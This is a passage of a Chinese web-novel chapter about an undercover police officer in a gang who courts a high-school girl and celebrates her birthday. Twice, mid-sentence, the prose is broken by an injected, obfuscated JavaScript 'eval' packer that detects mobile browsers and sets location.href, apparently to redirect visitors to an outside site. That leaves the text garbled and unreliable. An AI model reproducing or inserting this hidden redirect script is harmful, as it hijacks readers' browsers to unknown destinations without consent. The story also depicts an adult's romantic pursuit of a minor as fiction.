“也还好。”靳寒眉梢一挑,吊儿郎当故作嘲讽:“放心诶,你的消息一定回。” “......” 幼幼抿唇,没吭声。 瞥眼时间,已经九点半了。 海边夜里冷,靳寒从摩托车后箱里拿了件外套出来给幼幼穿上。 她重新坐在靳寒身边靠前一点的位置,男人肩宽,挡去大半冷风。 刚刚不仅加上微信,还得到了一个“保证”,程幼幼的心似乎有了点尘埃落定。 安心过后便意识到肚子在叫。 其实在KTV里就没怎么吃东西,后来又这么一折腾,早饿了。 幼幼开始慢慢品尝这些小吃。 电话里,靳寒让胖子看着买点,于是胖子便每样都买了点。 炸串、淀粉肠、猪扒包、葡式蛋挞、烤芝士榴莲、铁板鱿鱼,还有很多。 不得不说,这些都很对她胃口,大概是每晚放学被程信朋带去夜市摊逛多了,她特别喜欢这些看似不干不净的“垃圾食品”。 幼幼属于典型的眼大肚小,一时吃得急了些,很快就饱了。 靳寒凝着她,微蹙起眉,“慢点吃,没人跟你抢。” 她闷闷地“哦”一声。 “靳寒。” “干嘛?” “你怎么光看着我,不吃东西” “我不爱吃这些小孩爱吃的。”靳寒双手撑在身后,懒洋洋地扭了下脖子,半晌,忽地笑出声:“谁他妈看你了?” “......” 幼幼脸一红。 她发誓,她没这么想。 “我发现你脸皮挺厚啊,女孩子家不害臊。”靳寒仍然不正经地嗤道。 没有回应,程幼幼用纸巾擦了下嘴,肩膀一点点耸拉下来,靳寒这个角度只能看见她的半张侧脸。 怎么不说话。 不会生气了? 靳寒脸色一变,直起身子去看她的脸,没什么异常,四目相对几秒后,幼幼慢吞吞地挪开视线。 垂下头,“是不是真的不能见面?” 靳寒愣了瞬。 小姑娘的思维真是天马行空,想到哪是哪。 “不能。”他难得严肃起来,“你目前最要紧的事是学习,我们不能见面,尤其是你千万不能主动来找我。” “寄卖行,那天的酒吧,那些地方统统不要再去,等时机成熟,什么时候可以见了,到那时我会告诉你。” 在某段时间内绝对不能见面。 很奇怪。 幼幼知道其中一定有隐情,是靳寒不愿说的,所以她便没问原由。 “能说个具体数字吗?” 靳寒拧着眉心,轻啧一声,“说不准,短则几个月长则几年。” 她闻言扭头抬眸瞥他。 “......”受不了她这眼神,靳寒心一软,妥协道:“有机会的话我会来找你。” 摩托车灯很亮,两束光线里甚至能看见空气中的微尘在飘浮。 海浪一波接一波朝岸上拍打,声音舒缓清脆。 依偎在靳寒怀里,幼幼困意上涌。 手机里在放音乐,月无声。 她觉得衬景。 除了月亮,靳寒的呼吸声、心跳声,脉搏的跳动声,以及周围一切都是鲜活运动的。 “任何倩影为你亦忘记,面临绝境为你未逃避,惯了在光影里孤单飘零,爱你但我没能力。” ...... 手机提示音响了下,是丁钰湘发来的消息,说他们已经散场,准备回家。 虽然不想这么快走,但必须得赶在程信朋回家前到家。 靳寒帮她戴好头盔,又将外套拉链拉到领口,仔仔细细端详好了才出发。 约莫十几分钟,摩托车平稳停在离家不远处。 “靳寒。”临走时,幼幼认真地看着他。 “别忘了哦,说会来找我。” “你今天吃错药了?”靳寒垂眸拢火点了根烟,嗤笑:“这么主动?” 程幼幼抬眸瞪他,腮帮不自觉微鼓。 “随便你怎么说。”她好像越来越不怕他了。 真是惯的。 靳寒表面一副闲散懒怠的模样,实则心里觉得受用,甚至觉得挺爽的。 跟前几次一样,他在树下点一根烟,目送她平安到家直至那层小阁楼的灯亮起。 * 回去的路上,荣敏来了电话。 耳畔风啸声太大,他松了油门才听得清。 荣敏说知道了今晚发生在KTV的事,刚刚已经教训过陈礼,叫他放心。 挂断电话,靳寒忍不住轻嗤,这才多久风声就传到荣敏耳朵里了。 没回家,照例去了趟常驻的酒吧。 进店时,玻璃门来回弹几下逐渐复位,调酒师刚好做出一杯玛格丽特放在吧台上。 胖子正陷在沙发里打游戏,忙得抬头瞥靳寒,“寒哥。” “晚上敏哥来过没?” “没来过。” 将吸管插进杯里,又拿出一片柠檬别着,调酒师客气地递给靳寒。 靳寒淡淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150303|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颔首,拿起鸡尾酒朝沙发区走,咬着吸管喝了一口。 “阿成人在哪?” 没等胖子回答,里头一处卡座里忽然传来一道高亢的吼声,随即两道声音同时争吵着,仔细听有阿成。 靳寒怔了下,放下酒杯循着声音来源处走。 待走过去看清后,他立马明白了是怎么一回事。 跟阿成吵架的人是酒吧老赖,平时喝酒总赊账,每次数额都不大,但积少成多也是一笔不小数目了。这男人年纪有些大,无业游民,平时总混迹在这条街的各个场所。 虽然不待见这类人,但酒吧么,总是会有一两个的。 “你过去在我地盘喝酒,我把你当客人一分利息没收过,不过你记得,我放高.利.贷出生利滚利,一千六转眼你就还不起。”靳寒边拢火点烟边朝卡座上的男人讲。 他拍拍服务员的肩,“给他再上一打啤酒,一碟果盘。” 见到靳寒,男人顿时像焉了的皮球,一句腔不敢开。 酒吧恢复平静,靳寒穿过人群回到座位上,阿成照例将今日收益汇报给他。 草草应付完,靳寒便闷头喝酒,久久地盯着某处出神。 “怎么闷闷不乐啊寒哥。”胖子试探性开玩笑:“今天不应该很开心?” 知道他意有所指,靳寒低低嗤笑:“这就开心了?” 阿成仰头喝酒,斜眼瞥他,“再开心比不过你晚晚搂着两个马来妹睡觉开心,腻了赶紧他妈换掉,我今天在厕所看见其中一个女的跟一个老.黑激情四射,悠着点别染病了。” “真的假的,草?”胖子表情扭曲,眼睛还盯着手机屏幕。 阿成翻了个白眼。 半晌,靳寒虚起眼,缓缓道:“要搞人可以,别搞公司的人,也别在公司的地盘搞。” “听到没有?”靳寒瞥向胖子。 “明白明白寒哥!老规矩了。”胖子忙应。 “最近陈礼整天找不到事做,净他妈在老子周围插眼。”靳寒忍不住啐了口脏话,“还要日日管铺里这些琐事,我没耐心再这么耗下去,阿成,你停下收账的事帮我盯紧点那边。” “好。” 酒吧里的音乐忽然切换,仍旧是一首改蓝调的蹦迪舞曲,俗不可耐。 双肘撑着膝盖,指尖抵住太阳穴,靳寒长长地舒出一口气。 桌上手机屏幕忽地亮起。 靳寒点开,看见程幼幼给他发的微信。 简简单单俩个字:晚安。 他咂摸这俩字,长久地停留在只有这条消息的聊天界面上,没立刻回复。 这才有空注意小姑娘的微信。 头像是一只动漫的大头兔,蓝粉色的,露着大门牙在笑。 昵称是一串英文,看不懂,靳寒百度了才知道是一首钢琴纯音乐的歌名。 他忽然很想听。 “连音箱的电脑在哪?”靳寒忽然没头没尾地问了一句。 阿成愣了下,不解:“寒哥你要听什么歌?我去放。” 靳寒长点复制昵称发给阿成,“发你了,好像是首钢琴曲。” “......” “......” 阿成很想提醒一下他,这是在酒吧,台上还有一堆人跟着音乐晃。 思索再三还是忍住了。 阿成硬着头皮去操控间放钢琴曲,胖子扑哧一声笑出来。 15. Chapter 15 街灯将南角区晚空烧融成斜阳薄暮,靳寒矗立一家小摊前等餐,耳畔隔着层薄膜仍能感到不远处震耳欲聋的电音。 时而有人路过喊他寒哥,靳寒眼睑低垂不为所动,指尖慢慢悠悠地刷着手机。 不多时,摊贩用脖颈挂着的白布擦完额头擦手,再将包装好的炒牛河递给靳寒。 接过餐,靳寒往前走几百米,再右转进小巷上楼,很快就到家了。 桌上一盏台灯亮着,光线暖黄,只能照亮这一隅角落。 炒牛河热气烫嘴,一时无从下口,不大的客厅瞬间弥漫牛肉和洋葱的香气。 靳寒摸出小灵通,拇指在按键上方悬空,犹豫两三秒后摁下。 接到电话时邵尧正开着车从局里往家赶,语气轻快:“寒哥,在干嘛呢?” 靳寒愣了下,喉口溢出气笑,知道他在调侃自己也不恼,淡淡回道:“吃饭。” 邵尧把手机放车载支架上,点开免提,“这么晚才吃饭,吃的什么?” “炒牛河。” “吃快餐啊?”邵尧瞟眼后视镜,皱眉:“你现在在长身体,吃这些怎么行?好歹也算混出头了,荣敏不管你伙食?” “哪个长身体的干我这行?”靳寒讥讽一笑,单手开了罐啤酒。 电话那端沉默几秒。 以荣敏为首的团伙犯罪业务广泛,其公司内部盘根错节,阶级分明。当初下定决心彻查,首要任务就是挑一个思维敏捷,观察力强且身体素质好的人进入团伙内部当卧底。 邵尧在警校一眼看中靳寒,并承诺他最多三个月就能破案。 但现实往往与美好想象差距太大。 荣敏疑心重,靳寒用了近乎一年的时间才勉强得到他的信任,在跟前说得上话,之后又因各种原因,迟迟收集不到重要证据,就算收网,等待荣敏的不过是几年不痛不痒的牢狱。 刚开始那会,靳寒总爱问邵尧什么时候破案,他想回家,想堂堂正正地做个警察。邵尧每次都安慰他一番,最后再补一句:差不多还剩三个月。 就这样,三个月又三个月,转眼间,靳寒已经在榄洲镇待了三年。 除了日以继夜抓紧侦查,电话里宽慰他,邵尧别无他法。 旁边一辆车突然超速变道,眼看要撞上去,邵尧猛踩刹车躲过一劫,本想降窗骂人但那车已开远,便气得摁了下喇叭。 “这他妈傻逼吧。” “你在开车。”靳寒嗓音沉沉,打破沉寂,“刚下班?” “嗯,刚陪另一个组的审完人。” 车窗开了条缝,呼呼的风声沿着缝隙溜进车厢,邵尧点了根烟,有丝惆怅。 “明年你生日的时候应该就能回来了,再熬一下。” “去年你也是这么说的。” “......” “是不是觉得特对不起我?”靳寒轻笑出声,他是北方人,跟北方人讲话就忍不住带点儿化腔。 “诶,这倒不至于啊。”邵尧倏地提高音量,“我们在基层做刑警的谁不辛苦,你以为我每天轻松快活?更何况你的工作特殊,对你来说也是一次很好的历练,你的那些同学谁能有这经验?” 又开始PUA他。 靳寒埋头扒粉,囫囵道:“别他妈扯这些有的没的,我耳朵听出茧子了。” 邵尧笑了笑,踩下刹车等红灯。 “我前几天去你家看了老太太,她身体很好,平时在院子里散散步,跟保姆聊天。” 靳寒微不可闻地嗯一声,双眼疲惫地合拢了下,“有没有提起我?” “问了,还是那套说辞。” 执行秘密任务,归期不定。 靳寒没再应,而是恍惚地望着角落出神,须臾后收回思绪。 “我需要你帮我个忙。” “你说。” “我在这儿认识了个姑娘,她可能会因为我惹上麻烦,你知道的,我在这有几个仇家,你看能不能派个人每天偷偷保护她?如果涉及到费用我来出。” 邵尧发愣好半天,“姑娘?”紧接着追问:“什么姑娘,长什么样,多大。” “......”靳寒不耐地将筷子磕桌上,“我他妈说认真的。” 他抿紧薄唇,沉了口气:“要找个靠谱信得过的人,最好是生面孔,你别说你当警察这么多年不认识几个混混?” “有是有,但都在临津市啊,天高地远的。”邵尧对他这个要求一头雾水,“什么情况?这姑娘跟你什么关系?” “嗯,让他飞过来,全程费用都我出。” 知道靳寒在刻意回避他后面那个问题,邵尧偏要直面问:“你还没说你跟她什么关系。” 握着小灵通的手指发青,靳寒下颌绷紧,几秒后,定定道:“别问那么多,以后再跟你说。” 红灯变绿,后头的车摁喇叭催他,邵尧连忙回神开车。 试探道:“该不会是你女朋友吧?” 靳寒轻嗤,“不是。” “那就是你喜欢人家,没跑了。”邵尧揶揄:“你周围那环境能是些什么人啊?你们发展到哪步了?” 靳寒眸底一沉,冷硬道:“她是个高中生。” 邵尧又一次被震惊到,好半晌才说:“带坏小姑娘啊你,上次你让我帮你那事儿也跟她有关吧.....” 靳寒不说话,邵尧立马就知道答案了。 从执行任务的第一天开始,靳寒事就特别少,从未主动开口让他帮什么忙,难得两次还都跟一个小姑娘有关。 “我现在很担心你啊,倒不是担心你的安危。”邵尧啧啧感叹,“我担心你别出趟任务把自个栽进去了。” 三年就用简简单单的“出趟任务”四字概括。 靳寒冷笑,“你再多拖几年,我说不定结婚孩子都有了。” “......” * 自从上次分别后,俩人就断断续续在聊。 他的回复总是很慢。幼幼每次盯着聊天界面过几分钟没等到回复就做别的事去了,等想起看手机时又发现他的回复已经是两三分钟之前,所以俩人聊得磕磕绊绊,内容也没什么营养。 幼幼:「晚安」 靳寒:「晚安」 靳寒:「你在干什么」 幼幼:「写数学题,好难」 靳寒:「发来我帮你看看」 幼幼内心暗忖他会吗,但还是将题目拍了照发给他,是一道数学压轴大题。 看到消息,靳寒正跟一群人在外面玩,手边没笔,只能靠心算。 不过三五分钟,靳寒便将几步重要过程发给了幼幼,幼幼对照标准答案竟一模一样。 她诧异万分:「好厉害,这么快就算出来了」 靳寒:「是不是突然有点崇拜我?」 “......” 她甚至能想象到靳寒说这话时的表情,一定是在懒怠促狭地笑。 幼幼咬了咬唇,放下笔,认真敲字:「你学习很好,为什么不读高中呢?」 靳寒扯起谎话信手捏来:「我偏科,语文英语不行」 初来榄洲时靳寒特意改小了年龄,事实上他读高中时的成绩就常年霸榜,后来在警校也是出类拔萃那挂的。 对他的话幼幼深信不疑,何况班上很多男生都偏科。 幼幼:「你有想过上大学吗,以你的成绩一定没问题的」 靳寒:「没想过」 盯着这三个字,幼幼想再说些什么劝他的话可又怕显得自作多情。 傍晚,靳寒准备回去,刚巧在路上看见卖钵仔糕的。 靳寒:「想不想吃钵仔糕,我让人给你送来」 幼幼一时有些错愕,意思是送到她家里来吗,可万一被燕姨他们看见怎么办。 刚想说不用,靳寒紧接着发一句:「我让他放在你家出门右拐第三颗树下面,你十分钟后过去拿就行」 幼幼捏着手机,心怦怦直跳:「好」 十分钟后,她跟做贼似的出了门,回来时怀里抱着件鼓囊囊的外套。 全程没看见人影,也不知道是谁送来的,这种感觉很奇异。 就感觉,他随时都会在自己周围,默默的,悄悄的,一有需要会及时出现的那种。 八月近末,七夕节当天,幼幼一早就接到外卖电话。 这个时间,程业民早早去了汽修厂,燕姨出去打牌,程信朋也一早出门了,家里就剩她一人。 小哥将外卖放在一楼门面客桌上便走了。 塑料袋表面氤氲着白雾,看得出装的是饭盒,肯定还热乎着。 不知道是谁送的,幼幼正纳闷,忽然收到了一条消息。 靳寒:「生日快乐」 幼幼眸底闪过一丝惊喜,快速敲字:「你怎么知道今天是我生日?」 她从小到大过生日的次数屈指可数,因为是七夕,又是放暑假,知道的人本就不多。 靳寒:「猜的」 靳寒:「外卖收到没,给你的」 幼幼下意识翘起嘴角,心里说不出的激荡,回复:「收到了」 她小心翼翼地解开包装袋,还是不小心被烫到了。 打开盖子,是一碗面,面上盖着一个黄灿灿的煎蛋。 面一点也没坨,她尝了一口,很好吃。 被人惦记的感觉很开心。 幼幼觉得,她此刻就像长了一条无形的尾巴,像初生的小猫那样,兴奋地乱摇着。 紧接着,靳寒问:「你晚上有空吗」 幼幼紧紧盯着聊天界面,按耐住心中蠢蠢欲动的猜测,他的下一句话。 幼幼:「嗯?」 靳寒:「带你去个地方,晚上七点半,我在美华北路的公交站牌那接你」 * 幼幼破天荒地跟程业民说谎了。 程业民知道今天是幼幼的生日,说要晚上亲自下厨做一顿好的,但幼幼说自己约了同学,今年生日跟同学一起过。 当然,她口中的同学就是丁钰湘。 程业民是知道这个姑娘的,叮嘱几句便放心地让幼幼去了。 燕姨坐在沙发上嗑瓜子,睇一眼幼幼出门的背影,发出一声冷哼。 凉夜如水,一路上都飘着微风,擦过幼幼扬在空中的长发,和卷起的裙摆。 还没到公交站牌,远远地就看见有辆摩托车停靠路边。 一抹高大瘦挺的黑色身影微微扣着腰,倚在摩托车上低头看手机。 路灯照下一束幽黄光线洒在靳寒双肩,一动不动的,像一副油画。 幼幼加快步伐,跑过去。 靳寒刚掀起眼皮就看见少女神采飞扬的一张小脸,眼睛弯弯的,双手拉着书包肩带,又乖又嫩。 靳寒扬眉,有些痞气地笑:“有这么开心?” 幼幼不吭声,但脸上透露的表情还是出卖了她内心的想法。 “是因为过生日开心还是因为见到我开心?”他玩性十足,仔细观察少女的反应。 幼幼红了红脸,下意识想反驳:“不是...” 靳寒懒洋洋地睨着她,不紧不慢道:“还是因为,是我陪你过生日才开心?” 幼幼哑口。 怎么有脸皮这么厚的人。 看着幼幼羞涩血红的脸,靳寒满足地哼笑出声,熟练地给她带好头盔。 他车上的头盔都很大,每次戴都要把扣子拉到最紧,所以避免不了肌肤接触。 靳寒的指尖擦过她绯红的脸颊,下巴,甚至是嘴唇,幼幼都会没来由地紧张。 她死死掐紧掌心,屏住呼吸,生怕被靳寒瞧出端倪。 “干嘛绷紧身子?放松点。” 他说话时的气息扑在眉眼上,羽睫微颤,幼幼闻到了淡淡的木质香味。 “嗯。”她紧声应。 车子于浓稠夜色里出发,去往更深重的夜色中。 看着沿路风景,幼幼睁着一双圆溜溜的杏眼躲在头盔里好奇张望。 她确信靳寒带自己去的是一个陌生的地方,面对未知目的地,不知怎的,她却感到十分安心。 路程有些远,靳寒往山上开,车子最终停在山顶的一处平地上。 这里空旷如平地,视野很辽阔,抬眼望去便能俯瞰整座榄洲镇。 一下车幼幼就兴奋地四处走走看看,“你是怎么发现这个地方的?我过去从没来过。” 靳寒将俩人的头盔挂好,追着她的影子跟上去,“我一直都知道。” 天际星光点点,缀满错落有致的大片筒子楼,此刻的城镇就那么一小点,尽收眼底,而旁边就是波澜平阔的海面。 这样震撼的美景,足以媲美国家地理杂志上的大片。 凉爽的风吹抚着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150304|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幼幼燥热激动的心,她深深地呼出口气,看向靳寒。 “这里好美。” 靳寒眯着眼,淡淡道:“我经常一个人在这座山头待着。” 可以放空一切,可以毫无顾虑地躺在地上,看着眼前无边无际的星空,仿佛能永远地睡下去。 几米处有两棵挨着的树,树之间吊着一个秋千,看起来很新。 幼幼忍不住伸手触碰绑在树上的麻绳,粗粝坚.硬,感觉很紧实。 “这是你做的秋千?” 说到最后一个字时,幼幼语气一滞,她好像问了句废话,这么僻静的地方,能是谁做的秋千。 靳寒低声嗤笑,“不然?想着这里连个凳子都没有,为了某个小姑娘连夜赶出来的。” 幼幼抿了抿唇,有些不好意思。 “坐上去。” “好。” 幼幼握紧绳子,准备用手撑着木板跃上去,但秋千摇摇晃晃的,她始终找不到着力点。 正当她费劲尝试着,突然一双手从后托住她的胳肢窝,铺天盖地的男性荷尔蒙气息侵袭,她呼吸一紧,四肢瞬间变得僵硬。 靳寒稍稍使力,轻而易举就将幼幼安稳地放在秋千上。 坐稳后,幼幼往旁边挪了挪屁股,靳寒就在她身旁坐下。 秋千有些高,靳寒腿长,脚能够到地面,幼幼的脚则悬在半空中。 然后就跟变戏法一样,靳寒不知从哪变出一个小蛋糕,单手托举到幼幼面前。 蛋糕小而精致,中间插着一根蜡烛。 靳寒摸出打火机点蜡烛。 片刻,一束细长火苗在俩人之间燃起,倒映在程幼幼水汪汪的瞳孔中。 光与影的变化在程幼幼脸上时刻呈现,红黄的烛光将白玉无暇的肌肤染上一丝羞赧。 “喏,生日蛋糕。”靳寒懒懒地看着她,“这家据说特别好吃。” 他从不吃甜食,也不知多少年没过过生日了,想着胖子喜欢吃甜,每回都在那家买,便订了一个。 迟迟没等来回应。 幼幼嘴一瘪,抬头望着靳寒,眼看那对杏眼装着一窝满盈的水,靳寒愣了下。 “别告诉我又要哭。”靳寒嗓音一冷,“你要哭我就自己走了把你一个人丢这儿。” “......”幼幼吸吸鼻子,连忙摇头:“没有,只是,很感动。” 她忍住不让眼泪掉出来,闭着眼许了个愿,然后吹灭蜡烛。 接着从靳寒手里接过蛋糕,但没吃,而是放在一旁。 没搞懂这小姑娘要干嘛,正想看看,没想到下一秒怀里便冲进来一颗脑袋,刚好撞上他时日较新的伤口上。 脸色刷的一白,他疼得闷哼。 止痛药仿佛尽数无效。 感到男人的胸膛剧烈地起起伏伏,幼幼疑惑地抬头,对上靳寒深不见底的一对瞳孔,眉宇紧拧。 他在痛苦。 几乎瞬间便意识到了这点,幼幼心跳漏了一拍。 “笨蛋,我受伤了。”靳寒沙哑着嗓子。 他无力支撑摇晃的秋千,左手还揽着幼幼怕她掉下去,右手下意识捂住受伤的位置。 “怎么回事,是不是我碰到了?”幼幼说得又快又急,忍不住朝靳寒手捂住的地方看去。 蓝黑色短袖透不出颜色,细若无骨的小手往上贴,湿腻凹凸不平的触感吓得她连忙缩手,摊开看,在烛光的照映中,她的指尖鲜红一片。 大脑倏地嗡嗡作响。 第一次在靳寒面前这样强硬,她咬着牙,自顾自将他的短袖撩起。 腰侧的伤就这么暴露在空气中。 大约五厘米的细长伤口,裂缝很大,还在粼粼地往外渗着血。 一刹那,眼泪哗啦啦地从两边眼角顺着脸颊往下流,汇聚到下巴尖,一滴一滴往下落。 她失声:“......怎么弄的?” 靳寒双眉拧紧,故作轻松道:“前阵子打架不小心弄的。” “这是刀伤。”幼幼嘴唇颤抖:“你打架都要动刀的?” 看他的模样,肯定经常打架吧。 每次都会像这样受伤吗? 靳寒薄唇抿紧成一条线,他面容绷紧,下颌锋利,眼睛死死盯着程幼幼的脸,不放过任何一个细节,试图从里头找出一丝惧意。 他不想让她看见的。 她现在肯定很害怕。 “你是不是不舒服?”靳寒缓缓道:“我送你回去。” “你告诉我,到底是什么时候受的伤?” “都没包扎,是不是才受的伤?” 靳寒沉默不语,幼幼突然眉眼一酸。 “靳寒。”她出声喊他,带着浓重的鼻音,“你每天都过得这么危险,还是说你已经习以为常?” 在他们每天互发消息时,隔着手机,他的真实生活时刻面临危机。 他还能不咸不淡,故作轻松地给她发消息,甚至刚受了伤不治疗便跑来给她过生日。 “不是......” “你父母呢?你家里人不会担心你吗?” “我父母早就去世了,在我小时候。”他的语气平静地如同在说别家的事。 “......” 幼幼轻轻将额头靠上他未受伤的那侧肩膀,手没处安放,肩膀一抽一抽的。 “我很害怕看见你这样,你能不能保护好你自己?” “好。” “我要你发誓。” 靳寒苦涩地勾唇,但还是依着她:“我发誓,我会保护好自己,不受伤。” “说到要做到。” 她抬起头,对上靳寒的眼。 四目交织时忽然想起什么,幼幼愣了下,将背着的书包取下,打开拉链,从里面拿出一个玻璃瓶。 玻璃瓶里装着五颜六色的千纸鹤。 以前有段时间班上很流行折千纸鹤,它代表你对被送人的祝愿,叠满一千个纸鹤就能许下一个愿。 看左邻右舍都在折,幼幼也跟风买了一个玻璃瓶。 大家都三分钟热度,没两天新鲜劲过了,许多人玻璃瓶里的千纸鹤连一半都没有。 而幼幼一有空就叠,日积月累就装满了。 “我拿来,是想送给你的。” 幼幼捧起玻璃瓶递给靳寒,真挚道:“希望你永远平安。”